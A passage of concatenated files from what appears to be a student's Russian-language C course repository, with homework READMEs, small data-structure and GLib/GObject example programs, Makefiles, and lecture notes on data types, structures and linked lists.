p[in_pos] = q; in_pos++; } char *qout() // get element { if (in_pos == out_pos) { printf("Queue empty\n"); return '\0'; } out_pos++; // Смещение указателя return p[out_pos - 1]; // Вывод элемента на 1 меньше } void display() // output queue { for (int j = out_pos; j < in_pos; j++) printf("%d %s\n", j + 1, p[j]); } void remove_el() // remove element { char *p; if ((p = qout()) == NULL) return; printf("%s\n", p); } void new_el() { char s[100], *p; do { printf("Write string "); gets(s); if (*s == 0) break; p = (char *)malloc(strlen(s) + 1); if (!p) { printf("Not mem\n"); return; } strcpy(p, s); if (*s) qin(p); } while (*s); } int main() { setlocale(0, "rus"); char s[10]; for (int j = 0; j < MAX; ++j) p[j] = NULL; for (;;) { printf("N - new element, D - display, R - remove element, Q - quit "); gets(s); *s = toupper(*s); switch (*s) { case 'N': new_el(); break; case 'D': display(); break; case 'R': remove_el(); break; case 'Q': return 0; } } } <file_sep>/*https://evileg.com/ru/post/491/*/ #include "../includes/libft.h" struct node *createNode(int index, char *key) { struct node *newNode = malloc(sizeof(struct node)); if (newNode == NULL) ft_error(errno); newNode->index = index; newNode->key = ft_strdup(key); newNode->value = 1; newNode->left = NULL; newNode->right = NULL; return newNode; } struct node *insert(struct node *root, int index, char *key) { if (root == NULL) return createNode(index, key); if (index == root->index) root->value++; else if (index < root->index) root->left = insert(root->left, index, key); else if (index > root->index) root->right = insert(root->right, index, key); return root; } void inorder(struct node *root) { if (root == NULL) return; inorder(root->left); printf("%-10d, %-10s: %d\n", root->index, root->key, root->value); free(root->key); free(root); inorder(root->right); } <file_sep>// struct GList { // gpointer data; // GList *next; // GList *prev; // }; <file_sep># Запуск плагинов ```sh gst-launch-1.0 -v -m --gst-plugin-path="$plugin_path" \ vimeosource location=https://vimeo.com/59785024 ! decodebin name=dmux \ dmux. ! queue ! audioconvert ! autoaudiosink \ dmux. ! queue ! autovideoconvert ! autovideosink gst-launch-1.0 -v -m myfilter location=./test.wav ! queue ! audioconvert ! autoaudiosink gst-launch-1.0 ./build/gst-plugin/libgstMyFilter.s^C location=../test.wav ! wavparse ! audioconvert ! audioresample ! pulsesink gst-launch-1.0 filesrc location=../test.wav ! wavparse ! audioconvert ! audioresample ! pulsesink ``` <file_sep># Введение Виды компиляторов, сред разработки, эмуляция linux под windows <file_sep># Домашнее задание ## Статические структуры данных **Цель**: В процессе выполнения ДЗ вы получите навык работы с различными текстовыми кодировками. 1. Написать конвертор из заданной кодировки (cp-1251, koi8, iso-8859-5) в utf-8. 2. Сторонние библиотеки не использовать. **Требования**: 1. Создано консольное приложение, принимающее аргументами командной строки входной файл, заданную кодировку и выходной файл. 2. Конвертация из каждой из трёх указанных кодировок корректно отрабатывает(файлы для проверки прилагаются). 3. Приложение корректно обрабатывает ошибки доступа к файлам. 4. Код компилируется без warning'ов с ключами компилятора `-Wall -Wextra -Wpedantic -std=c11`. 5. Далее успешность определяется code review. ## Решение Сборка выполняется через **Makefile** есть обработка ключей **all**, **clean**, **fclean**, **re**: ```sh git clone https://github.com/dbudakov/c-2021-01 cd "c-2021-01/03.Static data structures/homework/" make ``` Программа принимает варианты параметров: **source_file**: *./other/cp1251.txt*, *./other/koi8.txt*, *./other/iso-8859-5.txt* **encoding**: *cp-1251*, *koi8*, *iso-8859-5* ```sh ./to_utf8 <source_file> <encoding> <output_file> # check list ./to_utf8 other/koi8.txt koi8 other/test1 ./to_utf8 other/cp1251.txt cp-1251 other/test2 ./to_utf8 other/iso-8859-5.txt iso-8859-5 other/test3 # check result diff other/test1 other/test2 diff other/test1 other/test3 cat other/test1 ``` ## Дополнительно Не получилось реализовать полную таблицу символов включая непечатные cимволы, потребуется время чтобы прийти к решению как достать все коды для cp1251, koi8-r, iso-5589-5 соответсвтвующие кодам символов в диапазоне 127-255 для utf8. ## Источники Обработка ошибок: <https://habr.com/ru/post/324642/> <https://ru.wikipedia.org/wiki/Errno.h> ## code review - Насчет таблиц - можно просто завести массив на 128 значений (т.к. первые 128 символов во всех кодировках одинаковые - это английские буквы, знаки препинания и проч.) из юникодных строк, которые можно попросту скопировать из той же википедии. Затем при обработке файла в одной из исходных восьмибитных кодировках, если символ принадлежит старшим 128 значениям, вычитаем из него 128 и получаем индекс в нашем массиве, и далее пишем в выходной файл строчку, которая находится в массиве по этому индексу. - В цикле много раз вызывать realloc (что жутко неэффективно с точки быстродействия), - Тем боле, что тут можно всё сильно упростить, сделав по аналогии с ft_koi8.c и ft_iso_8859_5.c - просто на ходу писать в выходной файл. - как правило, среди UNIX-овых утилит командной строки не принято делать много "проверок на дурака", например, проверять, пуст ли выходной файл - Вместо числовых значений кастомных ошибок было бы красивее завести enum с различными типами ошибок и использовать их в коде. Согласитесь, if (error == ERR_SAME_FILE) - Отвечая на вопрос по количеству исходников, разбивать проект на несколько файлов можно и нужно (в разумных пределах), это, как правило, лишь повышает читаемость и удобство восприятия. <file_sep>#include "../includes/libft.h" int main(int argc, char *argv[]) { int i; if (argc == 1) ft_error(argv, argc, ERR_NON_ARG); i = 1; while (i < argc) { if (ft_check(i, argv)) ft_rar(argv, i); if(!g_error) if (i != (argc-1)) printf("\n"); i++; } return (g_error); } <file_sep>#include "../includes/libft.h" int main(int argc, char *argv[]) { if (argc != 2) ft_error(ERR_ARG); printf("%s\n", argv[0]); return 0; } <file_sep>#include "../includes/libft.h" void ft_parse_json(cJSON *item) { cJSON *city = cJSON_GetObjectItem(item, "title"); cJSON *location_type = cJSON_GetObjectItem(item, "location_type"); cJSON *woeid = cJSON_GetObjectItem(item, "woeid"); cJSON *latt_long = cJSON_GetObjectItem(item, "latt_long"); char *cityOutput = cJSON_Print(city); char *locationTypeOutput = cJSON_Print(location_type); char *woeidOutput = cJSON_Print(woeid); char *lattLongOutput = cJSON_Print(latt_long); printf("%s, %s, %s, %s\n", locationTypeOutput, cityOutput, woeidOutput, lattLongOutput); } <file_sep># Типы данных Цель: В процессе выполнения ДЗ вы получите навык работы с файлами со специализированной структурой. Написать программу, определяющую, является ли заданный файл т.н. Rarjpeg-ом (изображением, в конец которого дописан архив), и выводящую список файлов в архиве, если заданный файл таковым является. Для простоты подразумевается формат архива zip, а не rar. Сторонние библиотеки не использовать. Требования: Создано консольное приложение, принимающее аргументом командной строки входной файл. Приложение корректно определяет файл, не содержащий внутри архив (файл для проверки прилагается). Приложение корректно определяет файл, содержащий внутри архив, и выводит список файлов внутри архива (файл для проверки прилагается). Код компилируется без warning'ов с ключами компилятора -Wall -Wextra -Wpedantic -std=c11. Далее успешность определяется code review. ## Решение Для запуска нужно склонировать репозиторий ```sh git clone https://github.com/dbudakov/c-2021-01 dbudakov ``` Перейти к каталогу с решением ДЗ ```sh cd "dbudakov/04.Data types/homework/" ``` Скомпилировать программу и запустить ее ```sh make ./rarjpeg files/non-zipjpeg.jpg ./rarjpeg files/zipjpeg.jpg ``` ## Примечания Корректно обрабатывает несколько аргументов ```sh ./rarjpeg files/non-zipjpeg.jpg files/non-zipjpeg.jpg ``` ## Дополнительно Сигнатуры первого включение архива в файл и конец jpeg файла: ```sh ./a.out files/zipjpeg.jpg |sed 's/255 217/255-217/g'|sed 's/ /\n/g'|grep -E '255-217' -no ``` ## Источники [qipu.ru](https://qipu.ru/tele2/sozdanie-polzovatelskogo-izvestnogo-tipa-faila-dlya-r-studio-signaturnye.html) <sys/stat.h> [pubs.opengroup.org](https://pubs.opengroup.org/onlinepubs/009604499/basedefs/sys/stat.h.html), [opennet.ru](https://www.opennet.ru/cgi-bin/opennet/man.cgi?topic=stat&category=2) Процесс: [blog2k.ru](https://blog2k.ru/archives/3391#EOCD), [blog2k.ru](https://blog2k.ru/archives/3392) Проверка на чтение, но только для владельца файла: [unix.com](https://www.unix.com/programming/24978-s_irusr.html) ## Code review - Выключить выравнивание в структурах через #pragma pack(1) [pragma.c](./notes/pragma.c) - Аккуратно проверять значения, прочитанные из файла (в этом может помочь вот такая вспомогательная функция: https://gist.github.com/ccbrown/9722406). <file_sep># debug ## libcjson.so: cannot open shared object file: No such file or directory ```sh sudo echo '/usr/local/lib64' >/etc/ld.so.conf.d/libcjson-x86_64.conf sudo ldconfig ``` ## other ```sh # rm -f /etc/ld.so.cache ``` ```sh # check link libs ldconfig -p | grep <lib> # check links use libs ldd <progName> # append flags for build pkg-config --list-all | grep json pkg-config --cflags --libs libcjson ``` <file_sep>#include <stdio.h> #include <stdlib.h> /* random for 100 + 50 value = 100-150 */ int main() { int i = 0; srand(time(NULL)); while (i < 100) { printf("rand: %ld\n", rand() % 50 + 100); i++; } } <file_sep>#ifndef LIBFT_H #define LIBFT_H #define PROG_NAME "sorting" #define ERR_MAX_CODE 132 #include <stdio.h> #include <math.h> #include <stdlib.h> // #include <errno.h> #include <string.h> // #include <locale.h> size_t hash(char *v); void ft_error(size_t error); enum l_ERROR { ERR_ARG = 132, }; #endif <file_sep>#include "../includes/libft.h" int main(int argc, char *argv[]) { struct node *root = NULL; FILE *input = NULL; char word[BUFF]; char *ptr; if (argc != 2) ft_error(ERR_ARG); input = openread(argv, input); if (fscanf(input, "%s", word) > 0) { ptr = wordFormat(word); root = insert(root, hash(ptr), ptr); } while (fscanf(input, "%s", word) > 0) { ptr = wordFormat(ptr); insert(root, hash(ptr), ptr); } printf("%-11s %-10s %s\n", "hash", "key", "value"); inorder(root); fclose(input); return 0; } <file_sep>#include <stdio.h> #include "animalpredator.h" G_DEFINE_INTERFACE(AnimalPredator, animal_predator, G_TYPE_OBJECT) static void animal_predator_default_init(AnimalPredatorInterface *iface) { printf("The first instance of the object that implements AnimalPredator interface was created\n"); } void animal_predator_hunt(AnimalPredator *self) { AnimalPredatorInterface *iface = ANIMAL_PREDATOR_GET_IFACE(self); iface->hunt(self); } void animal_predator_eat_meat(AnimalPredator *self, int quantity) { AnimalPredatorInterface *iface = ANIMAL_PREDATOR_GET_IFACE(self); iface->eat_meat(self, quantity); } <file_sep>all: @gcc ./*.c ./*.h -o incompleteTypes clean: @rm -f incompleteTypes <file_sep>#include "../includes/libft.h" static char *trimprefix(char *str, char *szwcstr) { int i; int end; if (!str) return NULL; i = 0; end = strlen(str); while (i < end && strchr(szwcstr, str[i])) str[i++] = '\0'; return &str[i]; } static char *trimsuffix(char *str, char *szwcstr) { int i; if (!str) return NULL; i = strlen(str) - 1; while (i >= 0 && strchr(szwcstr, str[i])) str[i--] = '\0'; return str; } char *wordFormat(char *str) { return trimsuffix(trimprefix(str, FORMAT), FORMAT); } char *ft_strdup(char *str) { int i; char *dup; if (!str) return NULL; i = 0; dup = (char *)malloc(strlen(str) + 1); while (str[i]) { dup[i] = str[i]; i++; } i++; dup[i] = '\0'; return dup; } <file_sep># Основные конструкции Базовые конструкции языка Си <file_sep>#include <stdio.h> #include <stdlib.h> #define MAX 80 int stack[MAX]; int top; void push() { int num; if (top >= MAX) { printf("Stack overflow!!!\n"); return; } printf("Write element "); scanf("%d", &num); stack[top] = num; top++; } int pop() { top--; if (top < 0) { printf("Stack empty\n"); return 0; } return stack[top]; } void display() { for (int j = 0; j < top; j++) printf("%d ", stack[j]); printf("\n"); } int main() { setlocale(0, "rus"); char s[10]; for (;;) { printf("N - new element, D - display, R - remove, Q - exit \n"); gets(s); *s = toupper(*s); switch (*s) { case 'N': push(); break; case 'D': display(); break; case 'R': printf("%d\n", pop()); break; case 'Q': return 0; } } return 0; } <file_sep>#define ERROR #include "../includes/libft.h" void ft_error(char *argv[], int error) { char *errorbuf; errorbuf = strerror(error); if (error == ERR_FILE) fprintf(stderr, "%s: %s: %s\n", argv[0], argv[1], errorbuf); if (error == ERR_SAME_FILE) fprintf(stderr, "%s: '%s' and '%s' are the same file\n", argv[0], argv[1], argv[3]); if (error == ERR_PERMISSION) fprintf(stderr, "%s: file '%s' or '%s': %s\n", argv[0], argv[1], argv[3], errorbuf); if (error == ERR_ARG) fprintf(stderr, "%s: %s\n" "Try './to_utf8 <input_file> <encoding> <output_file>'\n", argv[0], errorbuf); if (error == ERR_EMPTY_FILE) fprintf(stderr, "%s: %s: file is empty\n", argv[0], argv[1]); if (error == ERR_ENCODING) fprintf(stderr, "%s: %s: %s\n" "encoding must be only: %s, %s, %s\n", argv[0], argv[2], errorbuf, CP1251, KOI8, ISO8859_5); exit(error); } <file_sep># Типы данных `04:00` _Bool _Complex _Imaginary `06:00` Спецификаторы 10 - int 10L -long 10LL -long long 10ULL - unsigned long long `10:50` Спецификатор short `%hd` ## inttypes.h `15:15` #include <inttypes.h> `itn8_t` принимает макс 127 `21:00` сложение значений различных типов __`21:00`__ проработать! преобразование: ```c char ch = 'Я'; int i = (int)ch; ``` `23:30` `inttypes.h` `int8_t` - целочисленный тип с точной шириной `int_least8_t` - тип с минимальной шириной `int_fast8_t` - высокоскоростной тип с минимальной шириной `intmax_t` - максимально возможный целочисленный тип `PRId32` - оптимальный спицификатор __`28:15`__ интересная запись ```c printf("si_8 = %" PRId8, si_8); ``` `33:00` шестнадцатиричное представление _float_, через мантису `34:00` 5.0 - double, 5.0 float, 5.9 - long double `35:30` вещественные спецификаторы: float/double: %f, %e, %a; long double: %Lf, %Le, %La ## Пользовательские типы данных Структуры, объединения, перечисления, typedef ```c // Определение структуры struct имя_типа_структуры { тип имя_переменной_1; ... тип имя_переменной_N; } имя_экземпляра_структуры; // Доступ к переменным: имя_экземпляра_структуры.имя_переменной ``` `44:00` расположение структуры в памяти Пример: ```c struct student{ int number; char code[4]; float cost; } struct student otus; ``` ```c // Инициализация struct student otus = {2021, "Gr_C", 4.5}; ``` ```c // Назначенная инициализация // 4.5 затрет значение cost, так как идет определение после запятой, переменной code и задается следующая после code переменная, а это cost struct student otus = {.cost = 3.0, .code ="Gr_C", 4.5}; ``` ```c // Доступ otus.number ``` ## Массив структур ```c // Массив структур struct student otus[30]; // Вызов otus[i].number ``` __50:00__ уточнить, динамический массив структур **Динамический массив структур** ```c // Динамический массив структур // Объявляем указатель struct student *otus; // Выделяем память, count_rec - макрос, переменная otus = (struct student*) malloc(count_rec * sizeof(struct student)); (otus)->number (*otus).number ``` ## Передача в функцию ```c // Передача частей структуры в функцию f(otus.number); f(otuc.code); f(otus.code[3]); // Передача структуры в качестве аргумента, передается вся структура, не адрес и работа идет с копией, сама структура не меняется, для изменении структуры передается указатель int f_num(struct student o) f_num(otus); // ВАЖНО: структура копируется в стек, размер которого ограничен, чтобы это обойти для больших структур, в функцию передается указатель и в стек попадает только указатель // Передача структуры через указатель int f_num(struct student *o) f_num(&otus); ``` ### Вложенность структур ```c struct names{char first_n[25], char last_n[50]}; struct student{struct names fio, int year_b, ...}; ``` #### Инициализация и присвоение одной структуры другой ```c struct names fio1 = /*{ "Иван", "Иванов" }*/ struct names fio2 = fio1; // or fio2 = fio1; // Предпочтительно структуры объявлять с указанием размера struct names ({ char first_n[25], char last_n[50]}); // а не указателями, так как, память для указателей находится за пределами памяти структуры struct names ({ char *first_n, char *last_n}); ``` ## Объединения 01:13:00 **Объединения** - это тип данных, который позволяет хранить переменные разных типов в одном и том же месте памяти(но! не одновременно), размер памяти будет соответствовать самому большому элементу объединения ```c union имя_типа{ тип имя_элемента_1; ... тип имя_элемента_N ; } ``` ```c // Инициализация union types{ int digit; double bigNum; char latter; }; union types p_char; p_char.latter = 'A'; ``` ```c // иницилизация другим объединением union types p_char2 = p_char; ``` ```c // инициализация первого элемента union p_int = {50}; ``` ```c //назначенный инициализатор union types p_dbl = {.bigNum = 50.0}; ``` __Уточнить__ enum ### Перечисляемый тип **Перечисляемый тип** - используется для объявления симвользных имен, соответствующих целочисленным константам ```c enum имя_типа {имя 1 = значение 1, имя2 = значение2, ...} переменная ``` `01:20:00` enum это целочисленный тип и если выводить его значение через %d, то будет выводиться 1,2,3,4 соответственно элементу ```c enum spectr{red,orange,yellow,green. blue}; enum spectr color; ``` ```c // присваивание индексов enum levels {low = 1, medium = 5, high = 10}; ``` ```c // dog присваивается индекс 10, puma будет уже 11 enum enimals{cat,dog = 10, puma,tiger}; ``` #### typedef(алиас) Оператор _typedef_ позволяет связать новые типы данных с существующими ```c typedef существующий_тип новый_тип; ``` - выполняется компилятором, - область видимости зависит от местоположения - используется при создании удобных имен для часто используемых типов `01:26:23` ```c // разница typedef и define, во втором случае p2 будет просто переменной, а в первом это указатель typedef char * STRING; STRING p1,p2; <==> char *p1, *p2; #define STRING char* STRING p1,p2; <==> char *p1,p2; ``` ```c // задание алиаса структуры typedef struct{float real; float imag;} COMPLEX; ``` ## Дополнительно библиотека `gmp.h` для работы с числами ### Фишки `1:10:00` ```c // Разница в выделении памяти, во втором случае сложно предсказать где выделится память, в то время как в первом память выделяется внутри структуры struct names{char first_n[25],char last_n[50]}; struct names{char *first_n, char *last_n}; ``` <file_sep># Analogs OOP ## books <NAME>, 21st Century C: C Tips from the New School [link](https://www.amazon.com/21st-Century-Tips-New-School/dp/1449327141) <NAME>'s book Developing Linux Applications with GTK+ and GDK ## environment ideone.com - онлайн среда для компиляции repl.it - онлайн среда для компиляции ## lib <glib.h> <file_sep>#include "../includes/libft.h" void ft_error(size_t error) { if (error == ERR_MEM) fprintf(stderr, "%s: memory out\n", PROG_NAME); else if (error == ERR_CURL) fprintf(stderr, "%s: error request\n", PROG_NAME); else if (error == ERR_ARG) fprintf(stderr, "Usage: ./%s \"<city>\"\n", PROG_NAME); else if (error < ERR_MAX_CODE) fprintf(stderr, "%s: %s\n", PROG_NAME, strerror(error)); exit(error); } <file_sep>#include "animaltiger.h" int main(int argc, char **argv) { AnimalTiger *tiger = animal_tiger_new(); animal_cat_say_meow(tiger); return 0; } <file_sep># Аналоги ООП ООП - **инкапсуляция** - позволяет скрыть некие данные, от других частей кода - **наследование** - полное наследование поведения "предка" и дополнение или расширение функционала - **полиморфизм** - возможность одинаково обрабатывать множество форм, которые было унаследованы от общего предка. ## Непрозрачный указатель([Opaque pointer](https://en.wikipedia.org/wiki/Opaque_pointer)) <file_sep>CFLAGS = -Wall -Wno-incompatible-pointer-types -g `pkg-config --cflags glib-2.0 gobject-2.0` LDFLAGS = `pkg-config --libs glib-2.0 gobject-2.0` EXEC = kitty SRC = main.c animalcat.c animalcat.c animaltiger.c OBJ = main.o animalcat.o animalcat.o animaltiger.o $(EXEC): $(OBJ) @$(CC) -o $@ $^ $(CFLAGS) $(LDFLAGS) %.o: %.c @$(CC) -c -o $@ $< $(CFLAGS) .PHONY: clean clean: @rm -f $(OBJ) $(EXEC) <file_sep>#include <glib-2.0/glib.h> #include <stdio.h> // struct GArray { // gchar *data; // guint len; // }; int main() { GArray *a = g_array_new(FALSE, FALSE, sizeof(char *)); char *first = "hello", *second = "there", *third = "world"; g_array_append_val(a, first); g_array_append_val(a, second); g_array_append_val(a, third); printf("There are now %d items in the array\n", a->len); printf("The first item is '%s'\n", g_array_index(a, char *, 0)); printf("The third item is '%s'\n", g_array_index(a, char *, 2)); g_array_remove_index(a, 1); printf("There are now %d items in the array\n", a->len); g_array_free(a, TRUE); } <file_sep>all: @gcc -std=c11 -fms-extensions main.c -lm -o structInheritance clean: @rm -f structInheritance <file_sep>/*obj.c*/ #include "./obj.h" struct obj_t { int id; }; obj_t *obj_alloc() { obj_t *result = (obj_t *)malloc(sizeof(obj_t)); result->id = 0; return result; } void obj_setid(obj_t *o, int i) { o->id = i; } int obj_getid(obj_t *o) { return o->id; } void obj_free(obj_t *o) { free(o); } <file_sep># Типы данных Классические типы данных, создание типов данных, методы хранения типов данных в памяти <inttypes.h> <gmp.h> для работы с числами <file_sep>#include "../includes/libft.h" void ft_error(size_t error) { if (error < ERR_MAX_CODE) fprintf(stderr, "%s: %s\n", PROG_NAME, strerror(error)); else if (error == ERR_ARG) fprintf(stderr, "Usage: %s <filename>\n", PROG_NAME); exit(error); } <file_sep>#include <stdio.h> #include "./animalcat.h" /*G_DEFINE_TYPE (NamespaceObject, namespace_object, G_TYPE_OBJECT)*/ G_DEFINE_TYPE(AnimalCat, animal_cat, G_TYPE_OBJECT) /* virtual function */ static void animal_cat_real_say_meow(AnimalCat *self) { printf("Cat say: MEOW!\n"); } static void animal_cat_class_init(AnimalCatClass *self) { printf("First instance of AnimalCat was created\n"); self->say_meow = animal_cat_real_say_meow; } static void animal_cat_init(AnimalCat *self) { printf("Kitty was born.\n"); } AnimalCat *animal_cat_new() { return g_object_new(ANIMAL_TYPE_CAT, NULL); } void animal_cat_say_meow(AnimalCat *self) { AnimalCatClass *klass = ANIMAL_CAT_GET_CLASS(self); klass->say_meow(self); } <file_sep>#include "../includes/libft.h" char *ft_query(char *city) { char *query; query = calloc(strlen(WEATHER_SITE) + strlen(WEATHER_API) + strlen(WEATHER_QUERY) + strlen(city) + 1, 1); if (query == NULL) ft_error(ERR_MEM); query = strcat(query, WEATHER_SITE); query = strcat(query, WEATHER_API); query = strcat(query, WEATHER_QUERY); query = strcat(query, city); return query; } <file_sep>#include "../includes/libft.h" chunk_s chunk; size_t cb(void *data, size_t size, size_t nmemb, void *userp) { size_t realsize = size * nmemb; struct memory *mem = (struct memory *)userp; char *ptr = realloc(mem->response, mem->size + realsize + 1); if (ptr == NULL) ft_error(ERR_MEM); mem->response = ptr; memcpy(&(mem->response[mem->size]), data, realsize); mem->size += realsize; mem->response[mem->size] = 0; return realsize; } <file_sep># Dynamic data structures ## Выделение памяти, stdlib.h **malloc**(количество * размер) – выделение памяти (memory allocation), выделяется одна большая строка **calloc**(количество, размер) – выделение памяти **с заполнением НУЛЯМИ** уронит программу, если памяти недостаточно **realloc**(указатель, новый размер памяти) – изменение размера ранее выделенной памяти. ### Очистка памяти **free**(указатель), освобождение памяти yказатель = NULL, желательно обнулить указатель Изменять указатель не рекоммендуется: (pointer++), потому что не удасться освободить память(free), так как изменятся границы указателя ## Двумерный массив Варианты работы с двумерными массивами: ```c // Классическое обращение к элементу mas[n][m] // вычисление индекса элемента // Здесь: i умножается на длину строки(напр.4) прибавляется 2, получается 6 элемент // n*m*(тип массива) - размер index = i * m + j // Обращение к элементу // Аналогично первому, но используется разыменованный указатель, к которому прибавляется адрес нулевого элемента *(mas + i * m +j) ``` ### Очистка памяти, двумерного массива ```c int** mas, n = 2, m =3; mas = (int** )malloc(n * sizeof(int*)); for (int i = 0; i < n; ++i) mas[i] = (int*)malloc(m * sizeof(int)); for (int i = 0; i < n; ++i) free(mas[i]); free(mas); ``` ### Cвободный массив Свободный массив - двумерный массив, в котором размер строк может различаться Для выделения памяти под массив, вводится второй массив содержащий размеры строк и под строки выделяется память в зависимости от размера ```c int** mas; int *m, n = 4; // массив для строк mas = (int**)malloc(n * sizeof(int*)); // массив для размеров строк m = (int*)malloc(n * sizeof(int)); for (int i = 0; i < n; ++i) { printf("count colums in str %d - ", i); scanf("%d", &m[i]); // выделение памяти под строку mas[i] = (int*)malloc(m[i] * sizeof(int)); for (int j = 0; j < m[i]; ++j) { printf("mas[%d][%d] =", i, j); scanf("%d", &mas[i][j]); } } for (int i = 0; i < n; ++i) { for (int j = 0; j < m[i]; ++j) printf("%5d", mas[i][j]); printf("\n"); } for (int i = 0; i < n; ++i) free(mas[i]); free(mas); free(m); ``` ## Очередь [01:10] Пинцип FIFO(First In - First Out) - первый пришел, первый вышел, как в очереди супермаркета ## Стек [01:19] Принцип LIFO(Last In - First Out) - линейная структура данных, в которой добавление и удаление элементов возможно только с одного конца Опреации со стеком: Добавление(**PUSH**), Удаление с вершины(**POP**) <file_sep># Динамические структуры данных ## книги Н.Вирт. Алгоритмы + структуры данных = программы Р.Седжвик Фундаментальные алгоритмы на C. ## ссылки Работа с хешем: <https://habr.com/ru/post/247843> <file_sep># API ```sh /api/location/search/?query=(query) /api/location/search/?lattlong=(latt),(long) ``` <file_sep>/*main.c*/ #include "./obj.h" int main() { obj_t *obj = obj_alloc(); obj_setid(obj, 42); printf("%d\n", obj_getid(obj)); obj_free(obj); return 0; } <file_sep># links ## json [link](https://stackoverflow.com/questions/16900874/using-cjson-to-read-in-a-json-array) ## curl [curl](https://curl.se/libcurl/c/libcurl.html) [writefunction](https://curl.se/libcurl/c/CURLOPT_WRITEFUNCTION.html) <file_sep># Установка среды разработки под GStreamer ```sh git clone https://gitlab.freedesktop.org/gstreamer/gst-build cd gst-build/ meson builddir cd buildir ninja #ninja: error: 'subprojects/pixman/pixman/libpixman-mmx.a.p/pixman-mmx.c.o', needed by 'subprojects/#pixman/pixman/libpixman-1.so.0.40.1', missing and no known rule to make yum install pixman-devel cd .. meson builddir --reconfigure cd buildir ninja # для входа в среду разработки ninja devenv ``` <file_sep>#ifndef _ANIMAL_TIGER_H_ #define _ANIMAL_TIGER_H_ #include "./animalcat.h" G_BEGIN_DECLS #define ANIMAL_TYPE_TIGER animal_tiger_get_type() G_DECLARE_FINAL_TYPE(AnimalTiger, animal_tiger, ANIMAL, TIGER, AnimalCat) AnimalTiger *animal_tiger_new(); G_END_DECLS #endif /* _ANIMAL_TIGER_H_ */ <file_sep># Search and sorting algorithms ## Задание: - Написать реализацию хэш-таблицы с открытой адресацией со строками в качестве ключей и целыми числами в качестве значений. - На основе полученной реализации написать программу, подсчитывающую частоту слов в заданном файле. - Сторонние библиотеки не использовать. ## Решение ```sh git clone https://github.com/dbudakov/otus-c-2021-09 cd "otus-c-2021-09/08.Search and sorting/homework" make all ./sorting /files/file ``` <file_sep>#include "../includes/libft.h" int main(int argc, char *argv[]) { int encoding; if (argc == 4) { if (strcmp(argv[1], argv[3]) == 0) ft_error(argv, ERR_SAME_FILE); encoding = ft_check_encoding(argv[2]); if (encoding == E_CP1251) ft_cp1251(argv); else if (encoding == E_KOI8) ft_koi8(argv); else if (encoding == E_ISO8859_5) ft_iso_8859_5(argv); else ft_error(argv, ERR_ENCODING); } else ft_error(argv, ERR_ARG); return 0; } <file_sep># Домашнее задание ## Installation [link](https://gstreamer.freedesktop.org/documentation/installing/on-linux.html?gi-language=c) [link](https://developer.ridgerun.com/wiki/index.php?title=Creating_a_New_GStreamer_Element_or_Application_Using_Templates) #### notes Последний раз не нашел модуль fs для meson ## links wav file structure: [link](https://sites.google.com/site/devusb/waveformat) ## Method compilation gcc main.c -o app `pkg-config --cflags --libs gstreamer-1.0 ## Question Во первых какой элемент в пайплайне и что мы называем пайплайном получается всю строку из *** ! *** Насколько глубоко писать нужно ли настраивать Bus и Clock какие действия требуются после конфигурации. ## Заметки [link](notes) [systutorials](https://www.systutorials.com/docs/linux/man/1-gst-launch-1.0/) <file_sep># Динамические структуры данных Динамические структуры применяются в случаях когда размер выходного массива неопределен Виды: - Списки - односвязный - двусвязный(двунаправленный) - циклические списки(кольца) - Деревья - Графы Узел - содержит ссылки на другие узлы ```c // не масшабируется на кол-во атрибутов struct Node { char word[N]; int count; Node *next; } // масштабируемая по кол-ву атрибутов struct data{ char word[N]; int count; ... } Data; struct Node { Data p_data; Node *next; }; // Задание имени типа структуры typedef Node *PNode; // инициализация структуры PNode Head = NULL; ``` (!)Для работы со списком необходимо знать адрес первого элемента(головы списка) ## Операции со списками - Создать новый узел - Добавить узел - В начало списка [11:00] - После заданного узла - В конец списка - До заданного узла - Отобразить/обработать список - Поиск узла в списке - Удалить узел ```c //Создание узла Pnode CreateNode (входные параметры) { PNode NewNode = (Node *)malloc(sizeof(Node)); ... // Присвоение данных NewNode->next = NULL; return NewNode; } // Добавление узла в начало списка void AddFirst(PNode &Head, PNode NewNode){ NewNode->next = Head; Head = NewNode; } // Добавление узла после заданного void AddAfter(PNode p, PNode NewNode) { NewNode -> next = p->next; p->next = NewNode; } // Добавление в конец void AddLast(PNode &Head, PNode NewNode){ PNode q = Head; if (Head == NULL) { // Добавление в пустой список AddFirst(Head, NewNode); return;} while(q->next) q = q->next; // Поиск последнего узла AddAfter(q, NewNode) // Добавление последнего узла } // Добавление узла перед заданным void AddBefore(PNode &Head, PNode p, PNode NewNode){ PNode q = Head; if (Head == NULL) { AddFirst (Head, NewNode); return;} while (q && q->next != p) q = q->next; // Поиск узла перед p if(q) AddAfter(q, NewNode); } // Добавление узла перед заданным, подмена данных при сохранении адресов // Не использовать, если p = NULL; void AddBefore2(PNode p, PNode NewNode){ Node temp; temp = *p; *p = *NewNode; *NewNode = temp; p->next = NewNode; } // Отобразить, обработать список PNode q = Head; while (q) { ... // отображение или обработка q = q->next; } // Поиск узла в списке по условию PNode Find(PNode Head, данные поиска){ PNode q = Head; while(q && условие сравнения данных){ q = q>next; } return q; } // Удаление узла void DeleteNode(PNode &Head, PNode p){ PNode q = Head; if (p == Head); // удаление первого узла Head = p->next; else { while (q && q->next != p) q = q->next; // Поиск предыдущего узла if(q == NULL) return; q->next = p->next; } free(p); } ``` ## Двусвязные списки ```c struct Node{ char word[N]; int count; Node *next; Node *prev; } typedef Node *PNode; PNode Head = NULL; Pnode Tail = NULL; ``` ### Реализация очереди через списки ```c // Структура узла struct Node{ int data; Node* next; } typedef Node* PNode; // тип данных "очередь" Struct Queue { Pnode Head, Tail; } // Добавление элемента void PushTail(Queue &Q, int x){ PNode NewNode = (Node *)malloc(sizeof(Node)); NewNode->data = x; NewNode->next = NULL; if(Q.Tail) Q.Tail->next = NewNode; Q.Tail = NewNode; if(Q.Head == NULL) Q.Head = Q.Tail; } // Выборка элемента int Pop(Queue &Q){ PNode top = Q.Head; int x; if (top == NULL) // очередь пуста return -1; x = top->data; Q.Head = top->next; if(Q.Head == NULL) // очередь стала пустой Q.Tail = NULL; free(top); return x; } ``` ### Реализация стека через список ```c struct Node { int data; Node* next; } tupedef Node* PNode; // Добавление элемента void Push(PNode &Head, intx){ PNode NewNode = (Node*)malloc(sizeof(Node)); NewNode->data = x; NewNode->next = Head; Head = NewNode; } // Выборка элемента int Pop (PNode &Head){ PNode q = Head; int x; if(Head == NULL) // стек пуст return -1; x = Head->data; Head = Head->next; free(q); return x; } ``` ## Деревья Дерево - структура данных, состоящая из узлов и соединяющих направленных ребер(дуг), причем в каждый 